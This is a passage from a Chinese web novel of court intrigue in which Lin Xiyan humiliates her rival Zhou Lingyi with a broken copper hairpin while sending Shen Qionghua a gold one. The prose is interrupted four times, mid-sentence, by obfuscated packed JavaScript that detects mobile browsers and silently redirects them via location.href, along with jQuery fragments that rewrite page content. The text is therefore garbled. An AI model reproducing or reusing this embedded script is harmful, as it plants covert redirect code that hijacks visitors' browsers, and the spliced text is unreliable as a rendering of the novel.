林惜颜的脾气一向不好,侍女也怕她不发泄出来自己遭了殃。 她看了一眼林惜颜黑沉的脸色,试探道:“那小姐想要如何做?” 难不成要对沈家出手? 林惜颜神色晦暗不明,几度变换,最后嘴角勾起一抹笑,“如何做?我什么都不打算做。” 嗯? 侍女眼中闪过一抹诧异,这可不像是自家小姐的脾气。 林惜颜冷哼一声。 方才是她想差了。 她虽厌恶沈琼华,觉得对方水性杨花,左右逢源,明明傍着瑞王,却还勾着安王,就是个脚踩两条船的**。 但论其根本,终究是不足为惧。 沈琼华虽被皇上封为县主,却也改变不了她商户出身的事实,即便是沈家被皇上誉为良商,但那又如何? 商户终究是商户,根本上不了台面。 即便是要进安王府,做个侍妾都是抬举了她。 若沈琼华将来真的有进安王府的心思,那她将来有的是手段惩治沈琼华。 毕竟妾是什么东西? 不过一个身份低贱,可以随意任人转手发卖的玩意。 等安王厌弃了她,到时或送人,或打骂,亦或是无声无息了解了她,还不是自己一句话的事情。 何必急于这一时呢? 眼下,她的注意力不应该放在沈琼华身上,而是应该放在周令宜身上。 周令宜这个**,之前几次在她面前挑唆,让她去对付沈琼华,害她在沈琼华面前丢尽了颜面。 就是打着她和沈琼华鹬蚌相争,她自己好渔翁得利的算盘。 而自己被她的表象所迷惑,竟被她耍得团团转,简直是奇耻大辱。 幸好周令宜手段卑劣,所作所为连老天爷都看不过去了,让周令芙揭发了她,让自己看清了她的真面目。 她竟真的觊觎安王殿下。 而安王殿下念及永宁伯府,将周令宜视为亲妹,不想伤了周令宜,甚至还相信周令宜没有害她的心思。 林惜颜才不相信周令宜没有害她之心,说不定周令芙死前说的那些话都是真的。 周令宜想要在她和安王的大婚之夜杀了周令芙,再嫁祸在她身上,如此歹毒的计谋,若非周令芙亲口说出来,恐怕她定会中招。 不止有嘴说不清,甚至连幕后黑手是谁都猜不到,只能自认倒霉。 毕竟谁也想不到周令宜一个闺阁女子,会将手插到王府,甚至亲手害**自己的亲堂姐,就为了嫁祸她,败坏她的名声。 手段之毒辣,着实令林惜颜胆寒。 再者周令宜与沈琼华不同,沈琼华的出身给个侍妾都是抬举了她,而周令宜背靠镇国公府,又有周贵妃这个亲姑母给她撑腰。 即便是安王只将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15269718|165119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 周令宜当亲妹,将来周令宜也不是没有可能借周贵妃的手入安王府。 难道安王还会忤逆周贵妃不成? 周令宜一旦入府,即便是当不了正妃,侧妃的位置也非她莫属。 虽说她这几次与周令宜交锋,周贵妃大多数都是站在她这边的。 但人心难测,谁知道周贵妃后面会不会变。 万一周贵妃变了,一个姑母是王爷生母的侧妃,可远远比沈琼华一个小小侍妾要有威胁的多。 更甚者……若是安王真有缘那个位置,周令宜就是下一个周贵妃,还有太后撑腰。 如此若是生下来的孩子,岂非还要抢了原本属于她的孩子的位置? 不管怎么看,眼下情形周令宜对她的威胁都比沈琼华要大的多。 况且依着之前的种种,周令宜必定是与沈琼华不对付的,不然也不会几次三番教唆她去找沈琼华的麻烦。 她可不能再犯蠢了,免费做了周令宜手中的刀。 以这两人的关系来看,沈家得了‘良商’的牌匾,只怕周令宜才是真的要气到呕血吧。 林惜颜如何看周令宜那是哪哪都不顺眼,恨不能除之而后快。 只是如今她还尚未嫁给安王,名不正言不顺,周令宜所在的永宁伯府又是安王的母家,这才一直忍耐着,只能小打小闹一番。 如今得了这么个‘好’消息,自然不能放过给周令宜添堵的机会。 林惜颜眼珠一转,姣好的面容上浮上一层恶劣的笑意,她朝侍女勾了勾手。 侍女踌躇着上前。 林惜颜轻声说了些什么。 侍女身形一僵,“小姐?” “按照本小姐说的做!”林惜颜厉声道。 她目视前方,眉眼间尽是张狂。 周令宜,你耍了本小姐这么久,也终于轮到本小姐看一回你的笑话了。 侍女见她坚持,只能颔首应下,转身便退了下去,回了自己所居住的屋子,而后又去了一趟林惜颜的库房。 一炷香之后,侍女带着两个锦盒出了林府的大门。 第三百二十一章林惜颜送礼? 半个时辰后。 沈家。 芍药一言难尽地捧了一个锦盒进来。 “小姐。” “怎么了?”沈琼华从账本中抬起头来轻笑道。 倒是难得看到芍药这样的神情。 芍药示意了一下自己手中的锦盒。 “这是……”沈琼华有些疑惑。 芍药撇了撇嘴道:“是一个女子送来的,对方自称是林大将军府林小姐的侍女,遵林小姐的嘱咐前来送礼,来恭贺沈家喜得皇上御赐的匾额。” “什么?你说谁?”沈琼华怀疑自己的耳朵出问题了。 芍药说的每一个字她都会,怎么连在一起说,她就听不懂了呢? 林惜颜? 给她送礼? 这位林家大小姐最近不是跟周令宜你来我往,打得难舍难分吗? 怎么想起来给她送礼了? 更何况,之前不是还恨她恨得咬牙切齿,说要让她好看吗? 这又是闹的哪一出? 是吃错药得了失心疯还是受刺激了? 不说沈琼华以为自己耳朵出问题了,便是芍药刚知晓时,也以为自己听错了。 芍药捧着手中的锦盒跟捧着烫手山芋似的,一脸嫌恶道:“小姐,您没听错,就是林将军府的林大小姐派人送来的。” “而且那侍女一来沈家,也不说要求见小姐,只跟门房说要见奴婢,见着奴婢之后直接表明了身份,将锦盒往奴婢手中一塞就跑了。” “奴婢追都追不上。” 芍药也不知道这林家大小姐是犯了什么大病。 她们家小姐和她是可以送礼的关系吗? 更何况还是强制送礼,不收都不行。 沈琼华听罢,一双秀眉蹙得更紧了。 按理说她打林惜颜那两巴掌,两人算是彻底结下了梁子。 林惜颜知晓沈家得了御赐的牌匾,应该生气都来不及,怎么可能还派人来送礼? 林惜颜就不是个度量大,不记仇的人。 沈琼华的目光看向芍药手中捧着的锦盒上,道:“打开看看。” 芍药依言将手中的锦盒打开,只见盒内安安静静地放着一支金簪。 做工较为粗糙,上头的花纹也是早就过时的。 虽然算不上多珍贵多好看,但也值一些银子。 沈琼华站起身走上前,从怀中掏出一条帕子,隔着帕子将金簪拿起来看了看。 并没有什么异样与特别之处。 沈琼华将金簪放了回去,关上了锦盒。 “小姐,这簪子该怎么处置?”芍药问道。 沈琼华拧着秀眉思索着,不知道在想些什么。 半晌后才道,“立刻派人将这锦盒送回去,若是林家的下人不收,便让人有样学样直接丢在林府门前便是。” 总归不要沾染林惜颜的东西便好。 林惜颜这番无厘头的操作也不知目的在何…… “是!”芍药即刻应下,捧着锦盒下去安排了。 就在芍药安排人将锦盒送回林家时,永宁伯府里的周令宜也收到了来自林惜颜的锦盒。 这一次,林惜颜的侍女倒是没有直接将锦盒塞给下人就走。 而是一进大门就表明了自己的身份,还坚持要见周令宜。 周令宜得到消息,还以为林惜颜终于想通了,要歇战了,以为是林惜颜派人来给双方一个台阶下的。 周令宜原本也不想与林惜颜对上的。 林惜颜此人嚣张跋扈,为人蠢笨,但奈何有个有本事的爹,殿下还需要倚仗林家的兵权。 即便是殿下真的登基了,只怕登基之初,也少不了需要林家的支持。 没有个几年,是断不能废掉林惜颜的。 所以,她在发现不能阻止殿下娶林惜颜后,便打定了主意要蛰伏。 毕竟当今皇上还不知道要在位多少年,若是个长寿的,只怕废林惜颜的期限就要无限往后延。 她若是过早地暴露自己,只怕很快就会迎来林惜颜的报复。 这绝不是周令宜想看到的。 所以她一开始便想着要与林惜颜打好关系,待林惜颜进府后,再找个借口,亦或是让周贵妃将她赐予殿下。 到时她便说自己是逼不得已,然后发誓不与她抢殿下。 在她放松警惕之时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15276354|165119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,尽快怀上殿下的长子,到时任林惜颜反应过来了也奈何不了她。 谁知她的计划才走了一步,就被周令芙那个蠢货横插一脚给毁了,让她过早地暴露在林惜颜面前。 那日殿下与林惜颜谈话过后,殿下便找机会与她见了一面。 将他与林惜颜的谈话内容说与她听了。 她是有些埋怨的,因为殿下将她爱慕他的事情告知了林惜颜,以林惜颜的跋扈,知晓她**了她,定然不会轻易算了。 可是殿下说他是被逼无奈的,没有别的办法了。 说当时林惜颜当时连他都一起怀疑上了,若是不那般说,那与林家的结亲效果必将大打折扣,还会影响他在边关的布局。 既然已经做出了牺牲,那自然是要利益最大化的。 这个道理殿下懂,她也懂。 所以她只能硬着头皮应下,还要佯装善解人意的样子。 而后殿下也好好安慰了她一番,与她温存一夜。 后来果然如她所料,知晓她爱慕殿下的林惜颜就如一条疯狗一般,不顾场合地对她冷嘲热讽,言辞羞辱。 她一开始还处处忍让,后来众目睽睽之下被打之后,便彻底翻脸了,甚至有几次还闹进了宫中。 姑母为了稳住林惜颜,自然大多数还是站在林惜颜那边的,只是事后会安抚她。 虽为安抚,但言语之中也不免透露出些许责怪的意思。 不满她与林惜颜争执,引得京城的人看安王的笑话。 周令宜却觉得自己分外委屈。 是她想与林惜颜争执吗? 明明是林惜颜跟疯狗一般咬着她不放,她能有什么办法,伏低做小,低声讨好都行不通。 她原先在京城的名声也不错,这下全被林惜颜给搅合了。 所以今日林惜颜派婢女前来和解,周令宜心中也是松了一口气的。 周贵妃是她将来登上皇后之位的最大倚仗,不到万不得已的时候,周令宜是不想惹得周贵妃不快的。 她开口道:“既然是林姐姐派来的侍女,我自是要见的,让她进来吧。” 婢女应声退下,很快就将人带了进来。 第三百二十二章周令宜被气晕了 “周二小姐安好。”侍女捧着锦盒微微屈膝行礼道。 周令宜放下茶盏,嘴角扬起一抹笑,道:”起来吧,林姐姐让你前来,可是有什么事?” 既然林惜颜想通了,不再故意针对她了,周令宜自然也不介意表现得大度些,和善些,给林惜颜的人一个好脸色。 毕竟她今后很大概率还要跟林惜颜相处很长一段时间。 到时林惜颜为正妃,而她最多只能做侧妃,若是整日针锋相对,殿下未登上储位之前要倚靠林家的兵权,肯定会维护林惜颜,到时吃亏的只能是她。 既然受委屈的只能是她,那周令宜还是愿意花点时间与林惜颜处好关系的。 毕竟她看重的是以后,并不在意这一时之争。 再者此次闹成这个样子,她气恼林惜颜太过霸道彪悍的同时,心里其实也隐隐松了一口气的。 起码她今后与殿下相处不必再遮遮掩掩了,也算是在林惜颜跟前过了明路。 侍女闻言即刻便站直身体,似笑非笑地看着周令宜道:“周二小姐,这是我们小姐送给周二小姐的礼物,还望您收下。” 给她送礼? 周令宜的目光落在她手中捧着的锦盒上。 看不到里面是什么东西。 不过林惜颜肯主动示好给她一个台阶下,已是极为难得。 无论她送的是什么,她都能欢欢喜喜的收下。 这也算是今日难得的好消息。 沈家获得御赐牌匾的事情已经传遍了,周令宜自然也知晓了。 在弄清楚赐匾的缘由后,便是对沈琼华一阵咒骂。 骂沈琼华心思狡猾,不识好歹。 殿下明明已经派人牢牢盯住沈府和镇国公府了,竟还是让她找到机会坏了殿下的大事。 还借此机会哄得皇上赐“良商济世”的牌匾给她。 沈家有了这块御赐的牌匾,谁还敢再置喙,恐怕沈琼华气焰要更嚣张了。 周令宜想到这就气得心肝都疼,都是女子,她的出身不知比沈琼华好了多少。 凭什么沈琼华能活得那般恣意,而她却要处处隐忍受气。 林惜颜对上沈琼华尚占不到什么便宜,要打断牙齿伙血吞。 而她,一直迎合林惜颜,还被林惜颜针对,甩脸子。 这岂不是恰恰说明了她活得还不如沈琼华? 想明白这一点,周令宜气得连早膳都没用。 直到现在看到这个锦盒,心情才好了些许。 “难为林姐姐得了好东西还想着我,你替我谢谢林姐姐,改天我得了好东西,也给她送一份。” 周令宜扬了扬手,采薇立刻会意走上前要将东西接过。 却接了个空。 侍女侧身挡住了采薇的手。 “你这是何意?”采薇蹙眉道。 侍女却并不回答采薇的话,而是看向坐在上首的周令宜,笑道:“周二小姐勿怪,我们小姐说了,这礼物得周二小姐亲手打开才不枉她一片苦心。” 要她亲自打开? 周令宜神色微动,嘴唇不自觉抿紧。 这其中莫不是有什么诈不成? 然而又一想,林惜颜应当还不至于蠢到让人将危险的东西送到平宁伯府里头来对付她。 她如今虽然不及林惜颜,但也出身世家,平宁伯府背靠周贵妃,若是她真出了什么事情,危及性命,周贵妃也不会真的不管她。 这样想着,周令宜朝采薇使了个眼色,采薇这才让开。 侍女捧着锦盒上前几步,双手抬高,将锦盒完全暴露在周令宜身前。 周令宜看了那侍女一眼,侍女嘴角噙着笑意盯着她。 周令宜抬起手,有些犹豫地打开了锦盒…… 意外的,锦盒内没有华贵的首饰,也没有什么危险的武器,而是一支普通得不能再普通的铜簪。 普通到什么程度呢? 恐怕是掉在地上,永宁侯府稍微好一点的下人都不屑于去捡的程度。 甚至这支铜簪的花纹处好像还被人踩踏过,遭到了严重的损坏,与这华丽的锦盒格格不入。 周令宜的表情有一瞬的凝滞。 耳边传来了林惜颜的侍女有些嘲弄的声音,“周二小姐,我们家小姐说了,沈家得皇上御赐的牌匾是大喜的事情。” “怎么说沈家也算是从永宁伯府走出去的,这等喜事,永宁伯府怎么能不庆贺。” “沈家的那份礼奴婢已经送去了,这份送给您的。” “只是我们府上的情况您也知晓,将军和少爷们都去边关打仗了,小姐没有 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“将这贱婢给我拖下去杀了!”周令宜吼道,彻底破功。 这一声叫喊令采薇如梦初醒,连忙要去唤人,还去拉扯侍女。 侍女一把甩开采薇的手,看着周令宜气得几欲跳脚的模样,道:“周二小姐好大的威风,奴婢是林府的下人,可不是你永宁伯府的下人,你无权处置奴婢。” “便是将来进了安王府,奴婢也是王妃的婢女,你一个妾室是没有资格对王妃的婢女指手画脚的。” “周二小姐还得弄清楚自己的位置才是,将来不要徒增笑料,给我们家小姐惹麻烦。” “你……你个贱婢!贱——” 周令宜一口气没喘上来,竟是气晕了过去。 吓得采薇连忙去护周令宜,防止她摔在地上,一边大喊,“来人呐!快来人呐!小姐晕倒了!” 门外守着的婢女小厮乌泱泱地进来看了一眼,又乌泱泱地跑了出去。 有请大夫的,有去通知林氏的,有去通知老夫人的,顷刻间闹成一团。 在这一团骚乱中,那侍女悠哉游哉地出了永宁伯府,回林府复命去了。 第三百二十三章不是非你不可! 一个时辰后。 周令宜才悠悠转醒。 一睁眼便看见了林氏。 周令宜立刻委屈的唤了一声,“娘!” 周令宜觉得自己简直是委屈至极,为了安王能够顺利继承大统,她一直在隐忍,忍沈琼华,忍林惜颜,现如今倒好,一个林家的卑贱下人都敢踩到她的头上。 简直是欺人太甚! “娘,我忍不下去了,我不想忍了!” 若是林惜颜此刻站在周令宜面前,周令宜只怕会一巴掌抽过去。 林氏张了张嘴正想要说些什么,斜方便传出一道威严的声音,“你不想忍,那你想做什么?” 周令宜听到这声音,神色一怔,侧头便看到一道极为熟悉的身影,有些讪讪地叫了一声,“祖母。” 老夫人一脸严肃地坐在太师椅上,左手攥着一根拐杖,闻言站起身,一步一步朝周令宜走去。 “你看看你最近做的那些事情,都快让整个永宁伯府沦为笑柄了。” “祖母,那不是我的错……” 分明是那林惜颜故意针对,她有几次忍无可忍了才反击的。 可惜这话周令宜还没说出口,便被老夫人打断了。 “你能让林惜颜一直针对你,那就是你的错!”老夫人嗓音沉沉道。 “我有没有说过,你想要与殿下继续来往,培养感情,可以,但不能暴露在林惜颜面前。” “如今倒好,切断边关粮草的计划出了差子,你竟还与林惜颜在内斗,你真是太让我失望了。” “老夫人,是林惜颜一直抓着宜儿不放……”林氏想为女儿辩解两句。 “她若是没有让林惜颜发现她的心思,林惜颜会抓着她不放,还闹得满城风雨?” “便是贵妃娘娘都对这次的事情颇有微词,宜姐儿,你应当知晓若是贵妃娘娘厌弃了你,你会有什么后果。”老夫人神色冷硬道。 什么后果? 后果便是若是安王登不上皇位,那她这辈子就只能是个妾。 即便是安王登上皇位了,废了后,后位也不一定会落在她身上。 而且她的身子已经给了安王,便只能嫁给安王,没有别的退路了。 一辈子当个妾? 周令宜咬紧唇瓣,她是决不能接受这样的结果的。 见周令宜已经彻底冷静下来了,老夫人才接着道:“宜姐儿,你应当知晓林家对于殿下的重要性,你这样做,你让殿下如何自处?” 如何自处? 那殿下有没有想过,她该如何自处? 她受了林惜颜那么久的刁难,殿下可曾为她说过一句话? 看着老夫人隐隐带着几分愠怒的脸,周令宜心中不禁涌出几分悲凉。 “祖母,我又没有真的将林惜颜如何,如今是她一直揪着我不放,我可以顾忌着林大将军不与她不计较,但如今一个林府的下人,也能踩到我的头上了吗?” 亏她当时还以为林惜颜是真的想要与她握手言和。 却没想到林惜颜如此作践她。 一个婢女都看不上的铜簪赏给她? 亏她想得出来! 甚至还是借着沈家得御赐牌匾的事情,顶着贺礼的名义送给她的! 她就不信林惜颜真不知道她与沈琼华不睦! 周令宜气得差点呕血。 但她的心情老夫人显然不是很在意。 老夫人在意的只有侯府的前程。 她听见周令宜的话,神色更冷了,开口道:“宜姐儿,为了你,我放弃了你二婶和芙姐儿,但这进安王府的人选也不是非你不可。” “即便是芙姐儿没了,还有旁支的女子,你不愿意做小伏低受委屈,有的是人愿意。” “你自己好好想想吧。” 说着,便朝外走了,还把林氏也给带走了。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15287772|165119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 林氏原本不想走,还想陪一陪女儿,但这段时间的事情显然让老夫人以及宫里的贵妃很是不满。 因此当老夫人的目光看过来时,林氏安抚性地摸了摸周令宜的脑袋,还是跟着走了。 周令宜呆呆地坐在床榻上。 祖母方才那是什么意思? 那不成是想要放弃她,让别人进安王府吗? 凭什么! 她为了殿下付出了那么多,受了那么多的气! 更重要的是,她的身子已经给了殿下,若是不能进安王府,那她该怎么办? 采薇见周令宜神色不太对,想了想倒了一杯茶递了过去,“小姐刚醒,喝点茶水吧。” 周令宜看着面前的茶盏,一把掀落在地,随后巴掌如雨点般落在采薇的身上脸上。 “**!**!你们都欺负我!都欺负我!” 直到周令宜心中的怒气消散了些许,她才停了手。 想到方才林惜颜的侍女说也给沈家送去了一份礼,她看向采薇,道:“林家送去沈家的贺礼,沈琼华看了后是什么反应?” “是不是很生气?” 得了皇上御赐的匾额被人送铜簪,可真是够膈应的,也够羞辱人的。 沈琼华是不是跟她一样气晕了过去? 还是闹起来了? 若是沈琼华与林惜颜掐起来了,那可就太好了。 鹬蚌相争,渔翁得利。 这二人若是掐了起来,不管谁输谁赢,都能让她出了现在心头的这口恶气。 周令宜沉浸在自己的幻想当中,没有发现被打得脸蛋红肿的采薇听到她的话,浑身都瑟缩了一下。 周令宜等了一会儿,没有等到采薇开口,神色凌厉地看向采薇,怒斥道:“说话啊,傻了?” 采薇有些艰难地吞咽了一下,这才怯怯的开口,“回小姐的话,沈琼华并没有生气,她……” 第三百二十四章小姐吐血又晕过去了! “什么?不生气?她难道没有跟林惜颜闹起来吗?”周令宜气愤地打断了采薇的话。 就沈琼华那个性子,能忍下这口气? 而采薇此刻的神情都快要哭出来了,她很想逃,可是却又不敢违背周令宜的命令。 闭了闭眼,心一狠,快速道:“小姐,沈琼华根本就不会生气,因为林小姐送给沈琼华的不是铜簪,而是一根金簪。” 什么? 金簪? 送给她的都只是铜簪,沈琼华之前还打了林惜颜两巴掌,林惜颜怎么可能给沈琼华送金簪! “不!这绝不可能!贱婢,你竟敢糊弄本小姐!” 周令宜怒上心头,一脚踹在采薇的身上。 采薇一时没有防备,被踹倒在地。 “贱婢!你也在看本小姐的笑话是不是!本小姐虽然拿林惜颜无可奈何,但收拾一个贱婢还是绰绰有余的。” “你既然这么想看笑话,这么爱笑,那本小姐就将你卖进青楼笑个够!”周令宜咬牙说道,原本还算柔美的脸上遍布狰狞。 “不!” 采薇听到周令宜的话吓得大惊失色,也顾不上身上的疼痛了,连忙撑起身子跪好,朝床榻的方向膝行几步,以头抢地。 “小姐明鉴,小姐明鉴啊!奴婢怎么敢看小姐的笑话,奴婢说的都是真的啊!” “那侍女先去沈家后才来的咱们永宁伯府,小姐晕过去,咱们的人去请大夫的时候路过林府,亲眼看见了沈琼华身边的芍药捧着一个锦盒站在林府门前与那侍女交涉。” “咱们的人听见那芍药说‘我们家小姐说了,沈家与林府素无交集,怕是不好平白无故收此大礼,特让我来归还’。” “然后一阵推搡,一时不查将锦盒碰落,掉出了里面的金簪。” “后来更是直接将锦盒丢在林府门前走了。”采薇哽咽地将事情说完,又开始磕头,“小姐,奴婢说的都是真的,没有胡诌。” “小姐若是不信,可以传唤那个去请大夫的小厮,一问便知!” 采薇额头都磕破了,渗出丝丝鲜血,配合着她脸上的红肿,分外狼狈。 再加上她说有人证,周令宜谅她也不敢如此欺瞒戏弄自己。 所以这是真的? 林惜颜真的她送铜簪,而给沈琼华送金簪? 周令宜死死抓着剩下的被褥,嘴唇都咬出了血,只觉得自己受到了莫大的羞辱。 林惜颜……林惜颜这个**!她是故意的! 她肯定是知道自己与沈琼华有矛盾,所以故意给沈琼华送金簪,而给她送下人都不要的铜簪。 林惜颜这是在故意羞辱她! 在拿沈琼华来羞辱她! 告诉她,她连沈琼华都不如! 这个**!**! 林惜颜显然戳中了周令宜的痛处,再想到方才老夫人警告她,让她向林惜颜做小伏低,不要与之争斗的话。 周令宜心中憋屈愤恨至极,一时怒上心头,竟喷出了一口血,一头栽倒在床榻之上。 这可吓坏了一直跪在地上的采薇,若是周令宜出了什么事情,大夫人定然不会放过她。 “来人啊!快来人啊!小姐吐血又晕过去了!” 院中又陷入了新一轮的慌乱…… —— 林府。 林惜颜正悠哉悠哉地倚在软榻上,伸着手指染丹寇。 侍女一脸喜色地进来,道:“小姐,事情都已经办妥了,周二小姐晕过去了两次,听说这后一次还气吐了血呢。” 林惜颜闻言立刻幸灾乐祸的笑道:“吐血了?好好好,吐血了才好啊!” 随即又一脸鄙夷道:“还以为能有多能耐呢,敢跟本小姐抢男人,没想到这么不中用,看本小姐今后玩不死她。” “那是,谁让她不自量力,竟敢与小姐作对。” “她也不想想,小姐你可是皇上亲赐的安王妃,她即便是绞尽脑汁,不要脸进了安王府,那也是做妾的命,一辈子都要看小姐的脸色,在小姐手下讨生活。” “连贵妃娘娘都是向着小姐你的,她还能成什么气候?”侍女奉承道。 这几句话说到了林惜颜的心坎上,说得她心里很是愉悦。 她欣赏着手中快要染成的丹寇,挑眉看向侍女,幽幽开口道:“此事你办得不错,我妆奁上的那根蝴蝶金钗赏你了。” 侍女闻言,脸上闪过一抹欢喜,道:“谢小姐赏赐!” 夕阳西下,金色霞光映照在林惜颜的红色丹寇上,像极了周令宜吐出的鲜血的颜色…… 沈府。 芍药进屋的时候沈琼华正坐在书案前练字。 “回来了?东西送回去了?”沈琼华头也不抬地问道。 芍药低低地嗯了一声,嗓音中夹杂着一丝愉悦。 沈琼华与芍药一起长大,如何能没察觉到她的异样,抬头看了芍药一眼。 随后放下笔,向后倚靠在椅子上,开口道:“说吧,又发生何事了?” 芍药顿时忍不住了,“小姐,我知晓林大小姐为何给小姐你送金簪了。” 说着,将自己打听到的事情都一五一十将与沈琼华听。 沈琼华听后也很是愕然。 所以,她这是被殃及池鱼了? 林惜颜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15287773|165119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想要羞辱周令宜,竟将沈家获得御赐牌匾的事情当做筏子? 周令宜表面上一副姐姐妹妹的亲热样,但骨子里向来都看不起自己。 如今原本被她当刀使,用来对付自己的林惜颜不仅失去了控制,与她针锋相对,还利用自己反过来羞辱她,也难怪周令宜会被气得吐血了。 “奴婢原本没想到这事会与永宁伯府扯上关系的。” “小姐让奴婢去还金簪,奴婢到了林府说了原因后,那侍女原本都要收下了,却又突然与奴婢推诿起来。” “奴婢方才觉着奇怪,转头就看到了周二小姐院里的小厮站在不远处,直愣愣地看着奴婢与那侍女的拉扯。” “那小厮从前在永宁伯府居住时,曾经来过几次云梦轩,因此有些眼熟。” “认出来后,奴婢觉着有些不对,怕他们又使什么阴招,扔下锦盒就走了。” “却并未走远,而是躲在不远处观察,却发现那侍女一点都不生气,奴婢心里就更觉不对劲了,直觉与永宁伯府脱不了关系。” “而后多方打探下才知晓了事情的原委,小姐,这林大小姐可真是绝啊,竟能想出这样的损招,竟然将周二小姐给气吐血了。” 芍药一张小嘴絮絮叨叨地说着,眉飞色舞的脸上盛满了笑意,显然是开心坏了。 在芍药心中,与自家小姐作对的,自然都是敌人。 但敌人也是分等级的。 而林惜颜与周令宜比起来,显然是周令宜更可恨一些。 与要沈家全家的性命相比,跟林惜颜的那些摩擦都不算什么了,更何况那些摩擦也是小姐占了上风。 没有什么比敌人内斗更令人开心的事情了。 沈琼华也很是开心,只是若不是以沈家为筏子,她恐怕会更开心。 沈琼华笑着开口道:“林惜颜与周令宜针锋相对固然让人高兴,只是若是以后还有类似的事情,不要将东西收下。” “林府的侍女若是再丢下东西便离开,你便也直接将东西丢在街道上便是,不要再送回去了。” 沈琼华虽然乐得看二人争斗,但也不想一直被人当做筏子。 周令宜心狠手辣,谁知道被林惜颜刺激之后会发什么疯。 周令宜碍于安王的大业不能对林惜颜如何,指不定怒火就冲着她来了。 她虽不惧怕周令宜,却也不想时时刻刻提防着自己会被周令宜害了。 这世上没有千日防贼的道理。 若是因着沈家的事情也就罢了。 为林惜颜挡灾? 她又不是蠢蛋! “是!”芍药脆生生地应下了。 第三百二十五章谢南渊重伤失踪 自那日的事情之后,周令宜也许是顾忌着老夫人的敲打。 面对林惜颜的各种刁难,再也不敢与之对着干,大都是蛰伏隐忍。 这两方打架,一方示弱不接招,任凭另一方如何刁难,这架也是掐不起来的。 因此,京城里也总算是安静了一段时间,起码周贵妃不用再整日宣人进宫安抚了。 对于这样的结果,周贵妃很满意,安王一党也很满意,永宁侯府一干人等也较为满意,只有周令宜不满意。 可惜她不满意也没用。 因着这个事情,周令宜难得对谢祁安有了意见。 谢祁安为了求得美人原谅很是说了好几日的好话,毕竟周令宜对于他来说用着还是很顺手的。 他说什么,周令宜就听什么,再加上这么多年下来,确实也有几分情谊,一时半会儿的也丢不开。 而周令宜呢? 身子都给了谢祁安,将自己的后路都给切断了,还能怎么办? 于是在谢祁安私下里哄了好几次之后,两人便又混到了一起。 只不过,这一回周令宜可就低调得多了,大都是谢祁安来找她,再不敢踏入安王府作威作福了,生怕被林惜颜知晓。 两人的关系在林惜颜跟前差点露馅后,经过一番折腾,又重新转回了地下。 这一些暗地里的事情,沈琼华统统都不知晓,也不在意,只要林惜颜没有拿沈家做筏子,她是没有兴趣去了解谢祁安的风月史的。 沈琼华关心的是边关的粮草和战局。 栗城的粮草在沈琼华的信鸽到达栗城守着粮食的暗卫手中的那一刻,便立即被押往了边关的军营中。 当然这些押运粮食的暗卫们到达栗城的这些日子也没闲着。 一边与谢南渊取得联系,一边租铺子,装作要一副要长久卖粮食的样子。 当然,只卖了一点点粮食。 这是沈琼华特意嘱咐的。 既然打的是卖粮的名义,不真的卖一些粮食怎么行? 也免得将来落人话柄。 只有先骗过自己,才能骗过别人,让别人相信这真的只是一个巧合。 至于谢祁安一干人的想法…… 反正早晚都要掀桌,谁在乎呢? 至于为何只卖了一点点粮食,那当然是她的信去的及时,阻止了继续卖粮的行动。 暗卫们与谢南渊取得联系时,谢南渊也很是意外。 他没想到沈琼华未雨绸缪竟然提前准备了一批粮食。 心中又是感动,又是熨帖,同时还很是愤怒。 他一直觉着储位之争不应当牵及无辜之人,起码不应当拿战争与将士们的性命开玩笑。 可很显然谢祁安的想法与他不同。 似乎坐上储位的若不是他,他就要摧毁一切。 沈琼华不仅让暗卫给谢南渊带了粮食,还带来了另一个消息。 而这个消息更是让谢南渊震怒不已,同时也下定了某种决心。 …… 沈琼华自飞鸽传书给栗城的暗卫那一天起,便一直在等着粮草顺利抵达的消息。 只有这样,她才能真正地放下心来。 可让她没有想到的是,她还没有等到粮草的消息,边关又一次打仗的消息便传了回来。 这一次与以往都不同,与打仗消息一同传回来的,还有瑞王在战场上重伤失踪的消息。 消息是先传到皇上跟前的,据说皇上悲痛之下,当场就吐了一口血。 